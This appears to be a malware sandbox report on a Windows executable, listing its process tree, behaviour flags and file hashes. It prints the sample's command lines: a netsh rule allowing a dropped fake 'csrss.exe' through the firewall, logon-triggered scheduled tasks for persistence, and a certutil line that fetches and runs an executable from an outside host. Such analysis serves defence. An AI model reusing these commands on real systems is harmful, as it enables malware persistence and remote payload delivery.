398f65b46922e4a5a21ae7372fdf320ec5183f6f72da5f754db173807693fba5.execmd.exedescription pid process target process PID 860 wrote to memory of 1988 860 398f65b46922e4a5a21ae7372fdf320ec5183f6f72da5f754db173807693fba5.exe cmd.exe PID 860 wrote to memory of 1988 860 398f65b46922e4a5a21ae7372fdf320ec5183f6f72da5f754db173807693fba5.exe cmd.exe PID 860 wrote to memory of 1988 860 398f65b46922e4a5a21ae7372fdf320ec5183f6f72da5f754db173807693fba5.exe cmd.exe PID 860 wrote to memory of 1988 860 398f65b46922e4a5a21ae7372fdf320ec5183f6f72da5f754db173807693fba5.exe cmd.exe PID 1988 wrote to memory of 1428 1988 cmd.exe netsh.exe PID 1988 wrote to memory of 1428 1988 cmd.exe netsh.exe PID 1988 wrote to memory of 1428 1988 cmd.exe netsh.exe PID 860 wrote to memory of 676 860 398f65b46922e4a5a21ae7372fdf320ec5183f6f72da5f754db173807693fba5.exe csrss.exe PID 860 wrote to memory of 676 860 398f65b46922e4a5a21ae7372fdf320ec5183f6f72da5f754db173807693fba5.exe csrss.exe PID 860 wrote to memory of 676 860 398f65b46922e4a5a21ae7372fdf320ec5183f6f72da5f754db173807693fba5.exe csrss.exe PID 860 wrote to memory of 676 860 398f65b46922e4a5a21ae7372fdf320ec5183f6f72da5f754db173807693fba5.exe csrss.exe
Processes
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C:\Users\Admin\AppData\Local\Temp\398f65b46922e4a5a21ae7372fdf320ec5183f6f72da5f754db173807693fba5.exe"C:\Users\Admin\AppData\Local\Temp\398f65b46922e4a5a21ae7372fdf320ec5183f6f72da5f754db173807693fba5.exe"1⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:800 -
C:\Users\Admin\AppData\Local\Temp\398f65b46922e4a5a21ae7372fdf320ec5183f6f72da5f754db173807693fba5.exe"C:\Users\Admin\AppData\Local\Temp\398f65b46922e4a5a21ae7372fdf320ec5183f6f72da5f754db173807693fba5.exe"2⤵
- Windows security bypass
- Loads dropped DLL
- Windows security modification
- Adds Run key to start application
- Drops file in Windows directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:860 -
C:\Windows\system32\cmd.exeC:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes"3⤵
- Suspicious use of WriteProcessMemory
PID:1988 -
C:\Windows\system32\netsh.exenetsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes4⤵
- Modifies Windows Firewall
- Modifies data under HKEY_USERS
PID:1428
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C:\Windows\rss\csrss.exeC:\Windows\rss\csrss.exe ""3⤵
- Executes dropped EXE
- Modifies system certificate store
- Suspicious use of AdjustPrivilegeToken
PID:676 -
C:\Windows\system32\schtasks.exeschtasks /CREATE /SC ONLOGON /RL HIGHEST /TR "C:\Windows\rss\csrss.exe" /TN csrss /F4⤵
- Creates scheduled task(s)
PID:324
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C:\Windows\system32\schtasks.exeschtasks /CREATE /SC ONLOGON /RL HIGHEST /RU SYSTEM /TR "cmd.exe /C certutil.exe -urlcache -split -f https://fotamene.com/app/app.exe C:\Users\Admin\AppData\Local\Temp\csrss\scheduled.exe && C:\Users\Admin\AppData\Local\Temp\csrss\scheduled.exe /31340" /TN ScheduledUpdate /F4⤵
- Creates scheduled task(s)
PID:1056
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C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe"C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe"4⤵
- Executes dropped EXE
- Loads dropped DLL
PID:1412
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C:\Windows\system32\makecab.exe"C:\Windows\system32\makecab.exe" C:\Windows\Logs\CBS\CbsPersist_20220625134533.log C:\Windows\Logs\CBS\CbsPersist_20220625134533.cab1⤵
- Drops file in Windows directory
PID:1432
Network
MITRE ATT&CK Enterprise v6
Replay Monitor
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Downloads
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Filesize
1.7MB
MD513aaafe14eb60d6a718230e82c671d57
SHA1e039dd924d12f264521b8e689426fb7ca95a0a7b
SHA256f44a7deb678ae7bbaaadf88e4c620d7cdf7e6831a1656c456545b1c06feb4ef3
SHA512ade02218c0fd1ef9290c3113cf993dd89e87d4fb66fa1b34afdc73c84876123cd742d2a36d8daa95e2a573d2aa7e880f3c8ba0c5c91916ed15e7c4f6ff847de3
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Filesize
4.3MB
MD523e940efe55576aeea02f54992c58d09
SHA17620ba8933e3cf83e757ae042f2adfb980174c8e
SHA256398f65b46922e4a5a21ae7372fdf320ec5183f6f72da5f754db173807693fba5
SHA5124b8c70dfc87a7d0f429ef6bd21ec669d30cedd02e701b19e094afb4c6d913a2d2a71ba6adc41e702cec219814d00a981ae5e33447be055878a2ff4c99a769ae3
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Filesize
1.7MB
MD513aaafe14eb60d6a718230e82c671d57
SHA1e039dd924d12f264521b8e689426fb7ca95a0a7b
SHA256f44a7deb678ae7bbaaadf88e4c620d7cdf7e6831a1656c456545b1c06feb4ef3
SHA512ade02218c0fd1ef9290c3113cf993dd89e87d4fb66fa1b34afdc73c84876123cd742d2a36d8daa95e2a573d2aa7e880f3c8ba0c5c91916ed15e7c4f6ff847de3
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Filesize
1.5MB
MD5f0616fa8bc54ece07e3107057f74e4db
SHA1b33995c4f9a004b7d806c4bb36040ee844781fca
SHA2566e58fcf4d763022b1f79a3c448eb2ebd8ad1c15df3acf58416893f1cbc699026
SHA51215242e3f5652d7f1d0e31cebadfe2f238ca3222f0e927eb7feb644ab2b3d33132cf2316ee5089324f20f72f1650ad5bb8dd82b96518386ce5b319fb5ceb8313c
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Filesize
5.3MB
MD51afff8d5352aecef2ecd47ffa02d7f7d
SHA18b115b84efdb3a1b87f750d35822b2609e665bef
SHA256c41acc53cde89b94d55d6932ddd55a212ba910e1fade3da138670bb5b18ae4e1
SHA512e5dc54c60be702e11772dc729eec5ec7140f293545aa3d57282adacddf686483393b0c940bbd397a9d50a6cda093865b143ae00c51ce3bf5d6b00241f97b3cdb
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Filesize
5.3MB
MD51afff8d5352aecef2ecd47ffa02d7f7d
SHA18b115b84efdb3a1b87f750d35822b2609e665bef
SHA256c41acc53cde89b94d55d6932ddd55a212ba910e1fade3da138670bb5b18ae4e1
SHA512e5dc54c60be702e11772dc729eec5ec7140f293545aa3d57282adacddf686483393b0c940bbd397a9d50a6cda093865b143ae00c51ce3bf5d6b00241f97b3cdb
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Filesize
5.3MB
MD51afff8d5352aecef2ecd47ffa02d7f7d
SHA18b115b84efdb3a1b87f750d35822b2609e665bef
SHA256c41acc53cde89b94d55d6932ddd55a212ba910e1fade3da138670bb5b18ae4e1
SHA512e5dc54c60be702e11772dc729eec5ec7140f293545aa3d57282adacddf686483393b0c940bbd397a9d50a6cda093865b143ae00c51ce3bf5d6b00241f97b3cdb
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Filesize
163KB
MD55c399d34d8dc01741269ff1f1aca7554
SHA1e0ceed500d3cef5558f3f55d33ba9c3a709e8f55
SHA256e11e0f7804bfc485b19103a940be3d382f31c1378caca0c63076e27797d7553f
SHA5128ff9d38b22d73c595cc417427b59f5ca8e1fb7b47a2fa6aef25322bf6e614d6b71339a752d779bd736b4c1057239100ac8cc62629fd5d6556785a69bcdc3d73d
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Filesize
4.3MB
MD523e940efe55576aeea02f54992c58d09
SHA17620ba8933e3cf83e757ae042f2adfb980174c8e
SHA256398f65b46922e4a5a21ae7372fdf320ec5183f6f72da5f754db173807693fba5
SHA5124b8c70dfc87a7d0f429ef6bd21ec669d30cedd02e701b19e094afb4c6d913a2d2a71ba6adc41e702cec219814d00a981ae5e33447be055878a2ff4c99a769ae3
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Filesize
4.3MB
MD523e940efe55576aeea02f54992c58d09
SHA17620ba8933e3cf83e757ae042f2adfb980174c8e
SHA256398f65b46922e4a5a21ae7372fdf320ec5183f6f72da5f754db173807693fba5
SHA5124b8c70dfc87a7d0f429ef6bd21ec669d30cedd02e701b19e094afb4c6d913a2d2a71ba6adc41e702cec219814d00a981ae5e33447be055878a2ff4c99a769ae3